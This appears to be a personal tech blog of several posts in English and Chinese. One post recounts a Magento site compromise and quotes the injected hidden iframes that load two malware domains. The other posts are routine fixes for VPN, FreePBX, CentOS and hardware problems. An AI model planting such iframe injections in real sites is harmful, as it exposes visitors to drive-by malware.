Magento site was compromised

It was my first time to see a hacker is close to me.

I was flooded with notification emails from Google Adsense subjected “Your AdSense Publisher Policy Violation Report” from yesterday afternoon. I immediately tried to visit either blog.goods-pro.com or goods-pro.com to see what was going on. I got a scary warning message saying either site contains malware by Chrome and Firefox (on desktop. Chrome for Android does not do safe browsing check. I don’t know if Firefox does so.)

It took me a while to find out which site contains malware. As blog.goods-pro.com was using AdSense but goods-pro.com wasn’t, at first I thought it was blog.goods-pro.com that were hacked. blog.goods-pro.com was powered by WordPress, so I went through all the plugins and compared with my other WordPress sites, I didn’t find a suspicious plugin.

Then I started to look into the main domain site goods-pro.com, which was installed with Magento. It took me quite a while for me to know there was a good tool from https://sitecheck.sucuri.net/ to check what malware was on the site.

Then it took me another while to find out how the hacker did it. Basically the hacker compromised one of admin’s (not mine) password, and add the following code in three places (design/footer/copyright, design/head/includes, design/footer/absolute_footer) in Magento System >> Configuration.

<iframe src=”https://hersosx2sk.tk/Rnjqs3″ frameborder=”0″ width=”0″ height=”0″></iframe><iframe src=”https://mytokeasn2s.ru/mwRwD7″ frameborder=”0″ width=”0″ height=”0″></iframe>

hersosx2sk.tk and mytokeasn2s.ru are malware sites. And if a site links to them, it is regarded as malware site as well. 

When I disabled access of compromised admin accounts (without removing the injected code), I found Chrome and Firefox stopped giving that scary warnings, and visits to hersosx2sk.tk or mytokeasn2s.ru are redirected to Google. I don’t understand how Google can take control of these domains so quick, but anyway, it is not my business.

At last I removed all malware codes and requested AdSense a review of blog.goods-pro.com.

Why DrayTek SmartVPN does not work in Windows 10?

Why DrayTek SmartVPN does not work in Windows 10? Well, it will work, but it does not work out of box. 

After installing SmartVPN in Windows 10, I set SmartVPN client to use remote gateway and DNS, then I can see VPN connection is green (as usual), and I can get public IP of remote gateway. However, the traffic is not fully routed to remote gateway. From the symptom I guess DNS is not routed to remote.

To fix this problem, I have to disable “Automatic metric” for TCP/IPv4 property of VPN connection, and manually set “Interface metric” to a figure that is smaller than the one of Local connection or Wi-Fi connection, whichever I am using to connect to the Internet.

The theory behind is simple – the smaller metric is, the higher priority of the route. By default settings Windows 10 cannot work out a suitable metric for VPN connection, but Windows 7 can. This is another proof of Windows is getting more stupid.

Call to undefined function music_list()

今天在 FreePBX 里试图编辑一个分机,点了编辑结果出现一个错误:Call to undefined function music_list()。

好端端怎么有了这么个错误?后来发现是没有安装 Music On Hold 模块的缘故,安装并启用这个模块,错误就消失了。

可是我不需要 Music On Hold 模块啊,记得之前也是为了应付一个错误安装了不需要的 Call Recording 模块。这样下去,模块越装越多,直到某一天 FreePBX 崩溃……

Zoiper cannot stay online on mobile phones

Zoiper 是我青睐的一个 VOIP 客户端,最大好处是它同时支持 SIP 和 IAX2 协议,最大坏处是它太想捞钱,竟然把视频通话功能归入收费版本。

言归正传,我在使用 Zoiper 过程中,发现 Zoiper 里的 SIP 或 IAX2 帐号在手机上不能稳定在线,通常是在手机屏幕熄灭 5 秒钟进入锁屏状态(默认设置)后,Zoiper 就掉线了;如果锁屏前 Zoiper 是当前窗口,则在锁屏后存活的几率大大提高,但仍免不了掉线。

另外有几个发现:

  • 如果在平板上使用 Zoiper,则非常稳定。
  • 在 Huawei P8 手机上使用 Zoiper,也非常稳定,真是个奇迹。性能更好的 Mate 7, Mate 8 在这方面都不如 P8。
  • 在绝大部分手机上使用 Zoiper,一旦掉线,Zoiper 不会(或看上去不会)自动重试上线。
  • 手机在充电时使用 Zoiper,则比不充电时要略稳定。

如果 Zoiper 不稳,那我就无法把重要来电转接到 VOIP。所以我花了点时间一一对比了 P8 和其他手机上 Zoiper 的设置。虽然我仍未发现 P8 上 Zoiper 能站稳的原因,但我发现,在电源省电管理里,给 Zoiper 选中“锁屏后保护进程”对其稳定在线是有好处的。默认未选中,P8 上的默认也是未选中,但 Zoiper 就是稳,所以我不理解。

不管怎样,“锁屏后保护进程”让 Zoiper 在 Mate 7 和 Mate 8 上稳定了好多,但又来了新问题——大大增加了另一种掉线的概率,错误信息:“503 Transport failure: no transports left to try”。我搜了一下,不知所云。

不过,我发现这个错误只针对 SIP 帐号。IAX2 帐号在选中“锁屏后保护进程”的手机上能稳定在线,期间经历 Wi-Fi / 4G / 3G 的来回切换,Zoiper 都能网络恢复后自动上线。幸好 IPPBX 的控制权也在我,那以后就在手机上用 IAX2 帐号吧。

FreePBX 13 does not work on php 7.0.1

前几天安装 Magento 2,竟然说要 php 5.5 以上版本。本不追新的我,想到反正要用到 remi repo,那就装个最新的 php 7.0.1。结果 Magento 2 倒是能运行,但 FreePBX 13 的 web UI 出不来了,显示成空白页。我估计是 FreePBX 所用的 php 语法不够规范,简单排查了一下,根本没看出是哪里的毛病。我估计对 php 7.0.1 来说,FreePBX 到处是毛病。虽然此时 asterisk 仍正常运行,但我不能让 web UI 长期瘫痪啊,赶紧找了个时间拆了 php 7.0.1,换上了 php 5.6。这是目前兼容性最好的版本,FreePBX 和 Magento 2 均能运行,证明对 php 环境不能过于追新。

Install Freepbx 13 on CentOS 7

FreePBX Wiki 有一篇关于如何在 CentOS 7 上安装 FreePBX 13 详细的指导。我不想重复具体的步骤,只想说说如何解决在安装后出现的问题。

我在 OpenVZ VPS 的 CentOS 7.0 minimal 环境下依次执行了 FreePBX 13 安装指导的各项命令,期间并没有发现问题,下载、编译都很顺利。安装完成以后,发现虽能访问 FreePBX web UI,但对 FreePBX 进行的第一项测试——添加一个分机,就卡住了——注册不了。这时 VPS 还未重启过,虽然指导上没有让重启,那就重启一下看看呗。重启之后,更糟,首先发现 FreePBX web UI 访问不了,然后发现 ssh 也登录不了,最后发现连 ping 也不响应。只好用 serial console 登录后排查,发现 network 服务没启动,手动重启 network 服务也失败。

我只好把安装步骤分解,首先定位到是 yum groupinstall core 群组件造成 network 服务启动失败,然后再分解,发现是其中的 selinux* 和 NetworkManager 两个软件包的问题。定位这两个软件包花了我很长时间,这里按下不表。幸好这两个软件包也不是 FreePBX 所需要的,所以把它们卸载之后,network 服务就能正常启动了。FreePBX 安装指导提到需要将 SELinux 关闭,SELinux 也确实处于关闭状态,但它由 core 群组件安装后还是对 network 造成了困扰,卸载当然是最好的选择;NetworkManager 跟 network 冲突,似乎很久以前也碰到过,只是这次没有在第一时间想到是 NetworkManager 的问题,是地毯式排查中发现的。

网络正常后,就能访问到 FreePBX web UI,但 dashboard 上提示无法连接到 asterisk 服务。我再回头看安装命令,其中一项是 chkconfig asterisk off。我其实挺不理解的,为什么特意不让 asterisk 自启动,当时以为安装过程中暂时将它关闭,会在后期的脚本里配置好,让 asterisk 自启动。可事实上是 asterisk 没有自启,因此我认为 chkconfig asterisk off 是原作者笔误,应该是 chkconfig asterisk on。

另外,安装过程中特意执行了

firewall-cmd --zone=public --add-port=80/tcp --permanent
firewall-cmd --reload

这是开放 80 端口。我就纳闷了——作为一个 VoIP server,仅开放 80 端口有什么用?!之后发现,5060 端口也是开放的,因此 SIP 分机注册没有问题。我没见哪条指令将它打开,估计是在某个脚本里了。但是,还有好些端口,比如 RTP 默认端口 10000-20000,不打开这些端口听筒里就没有声音。我试了一下,果然没有声音。FreePBX 安装指导没有提及更多的 firewall 的设置,这需要在安装完成后自行设置。

执行到此,似乎就可以了,我添加了分机,并注册、互呼成功。但运行了大约半小时左右,再次添加一个分机,Apply Config 时,出现以下错误:

Reload failed because retrieve_conf encountered an error: 1

exit: 1
Unable to connect to remote asterisk (does /var/run/asterisk/asterisk.ctl exist?)
Exception: Unable to connect to Asterisk through the CLI in file /var/lib/asterisk/bin/retrieve_conf on line 24
Stack trace:
1. Exception->() /var/lib/asterisk/bin/retrieve_conf:24
1 error(s) occurred, you should view the notification log on the dashboard or main screen to check for more details.

这是因为 /var/run/asterisk/asterisk.ctl 在 asterisk 重启之后,属主、属组被修改为 root:root,而正常的应该是 asterisk:asterisk。为什么一开始的时候还能 Apply Config,一定时间后才出现问题?这个机理我搞不懂了。

Updated 20/12/2015:这个机理我猜想是 asterisk 有一个守护进程,在异常时会重启 asterisk,用户通常不会觉察到 asterisk 已重启,但这时 Apply Config 就被拒绝。解决办法是在 /etc/asterisk/asterisk.conf 增加以下内容,可以让 /var/run/asterisk/asterisk.ctl 保持属主、属组都为 asterisk。

[files]
astctlpermissions = 0660
astctlowner = asterisk
astctlgroup = pbx
astctl = asterisk.ctl

What is the maximum RAM can Lenovo T410 upgrade to?

According Lenovo official website, T410 “supports up to 8GB maximum memory”.

From the forum of Lenovo, someone said

I have exactly the same computer. Here is what I have tried:

– 2x 8GB = didn’t work
– 1x 4GB + 1x 8GB = didn’t work
– 1x 2GB + 1x 8GB = didn’t work
– 1x 8GB = didn’t work
– 2x 4GB = WORKS….

So maximum is 8GB (2x 4GB)

However, they are both incorrect. I just tried 12GB (4GB under the keyboard + 8GB on the underside of the computer). It boots Fedora 22 workstation without any problems. Although it hangs on Windows 7 booting stage, I think it may boot Windows 7 or 8 from new installation. Whatsoever the fact reflects Fedora is more robust than Windows.

I will try if T410 supports 16GB if I can find a way how to install RAM under the keyboard.

UPDATE: I have tried 16GB (8GB under the keyboard + 8GB on the underside of the computer). Fedora boots all right (Windows still hangs). So the final answer to the maximum RAM can Lenovo T410 upgrade to is 16GB! Here is the screenshot as a proof of my experiment.Lenovo T410 with 16GB RAM running Fedora

Lost network after update VPS from CentOS 7.0 to 7.1

昨天我把 VPS 用 yum update 了以后,重启,就发现怎么也登录不了 VPS 了。幸好还有 serial console 可用,登进去一一检查,一开始以为服务没有启动,接着又查防火墙、SELinux 的设置是否被改动,甚至查到了 runlevel,最后才发现 venet0 无法获得 IP 地址。难怪什么都访问不了了——谁会想到升级之后出这种毛病。

我见 VPS 控制面板里有 “Reconfigure Network” 按钮,看来就是针对网络失联的,可是点了好多次,也重启了好多次,仍然没有 IP 地址。我想是不是 /etc/sysconfig/network-scripts/ 目录下原有的 ifcfg-lo、ifcfg-venet0 和 ifcfg-venet0:0 三个文件无法被重置造成的?我就想把它们删除然后再按 “Reconfigure Network” 按钮。不幸的是,这三个文件被删之后,VPS 控制面板所有按钮都失效了,同时 serial console 也无法登录了。看来 serial console 仍是依赖于网络访问的——这跟我事先估计的不一样。

如果是台普通电脑,遇到网卡无法获得 IP 地址的情况,我肯定是插拔网卡,或者重装驱动程序。可这是一台 VPS 啊?我一度绝望了,以为只有重装系统了。大概过了十几分钟,我意外地发现 VPS 控制面板的按钮又可用了,serial console 也恢复了。大概是我删除这三个文件后,CentOS 自动检测到了新硬件,并安装了驱动。我用 serial console 登录后查看,果然 ifcfg-venet0 和 ifcfg-venet0:0 已经在那里,但 ifcfg-lo 没有自动恢复。这下我不敢乱来了,赶紧把 ifcfg-lo 从备份中拷贝过来。

但是,最关键的——venet0 仍没有 IP 地址。两个多小时过去了,我仍不知道该怎么办,只是不死心地 Google 着不同的关键字,终于被我找到一篇大神的文章。它教我编辑 /etc/sysconfig/network-scripts/ifup-aliases 文件,找到一行:
if ! /sbin/arping -q -c 2 -w ${ARPING_WAIT:-3} -D -I ${parent_device} ${IPADDR} ; then

把它删了,改成两行:
/sbin/arping -q -c 2 -w ${ARPING_WAIT:-3} -D -I ${parent_device} ${IPADDR}
if [ $? = 1 ]; then

保存退出,重启网络服务。Wow!真是见证奇迹的时刻,一切都正常了。

Install CentOS 7 on Fujitsu Server

我买了一个 Fujitsu TX2540 M1 服务器,可以说是一个错误的选择。因为它的安装逻辑异常复杂,花了好长时间才把 CentOS 7 安装成功。

期间多次以为它不支持 CentOS 7,只有在 Fujitsu Support 网站上找到一份文件说 CentOS 7 is “Tested”,才支撑我频频破碎的信念一直到成功。因为 Fujitsu 注明 CentOS 7 仅是 “Tested”,而非 “Supported”,意味着 Fujitsu 不提供官方支持。期间我尝试着按网上找到的方式,电邮联系 Fujitsu,问能不能告诉我我买的服务器 Megaraid 是什么型号。Fujitsu 回信说它不提供电邮支持(那你公布电邮干吗?)信里说可以使用他们的在线提问系统,于是我重填了一遍问题,然后得到回复说,要我打电话寻求支持。我彻底服了,不过我也没打电话,因为当时我也差不多摸索出来了。

言归正传。CentOS 7 安装时碰到的问题是识别不了 Megaraid,要我禁用阵列卡做单个硬盘使用,我又心有不甘。试了好些其他主流操作系统也是如此。后来我用 ServerView Installation DVD 启动,它是“预安装”盘。预安装界面里是找不到 CentOS 7 的,好在 CentOS 7 和 RedHat Enterprise Linux 7 的极其相似性,我选了RedHat Enterprise Linux 7 让预安装执行完毕,之后选择安装源千万不能选从 DVD 读取。我是指定了 CentOS NetInstall 的 URI 才顺利让机器重启后进入了 CentOS 的安装界面。这时安装目标盘已被预置为阵列卡(这时千万不要点进去,一旦进去后哪怕不做任何修改,返回安装过程又成识别不了阵列卡的状态),之后就是正常的安装步骤了。

最后吐槽一下 ServerView Installation DVD,它的操作系统竟然是 Windows,看得出 Fujitsu 已经落伍了。

Back to MySQL

不知从什么时候开始,Fedora 和 CentOS 里的 MySQL 都给换成了 MariaDB。我一直搞不懂好端端的 MySQL 为什么还要分出一个 MariaDB,更搞不懂 MariaDB 的优越性在哪里,反正 MySQL 对我来说够用了,倒是 MariaDB 安装和启动时使用了不同于 MySQL 的名称,让我很不习惯。比如

yum install mysql-server

换成了

yum install mariadb
service mysqld start

换成了

service mariadb start

幸好,除此之外,一切照旧,用到 MySQL 的 PHP 程序都能继续在 MariaDB 使用,所以我就一直用着 MariaDB。直到今天使用 Magento2,要求 MySQL 5.6 以上版本,而 CentOS 下把 MariaDB 用 yum update 到最新版本,仍是 5.5.40。

于是我被逼着去下载 MySQL 5.6。不用不知道,一用发现 CentOS 下安装 MySQL 超级方便,只要安装好 RPM 包——http://dev.mysql.com/get/mysql-community-release-el7-5.noarch.rpm,就可以恢复使用

yum install mysql-server

执行安装。

早知如此,我真不该碰 MariaDB——这个并没有给我带来实际利益的程序也花了我一天去熟悉。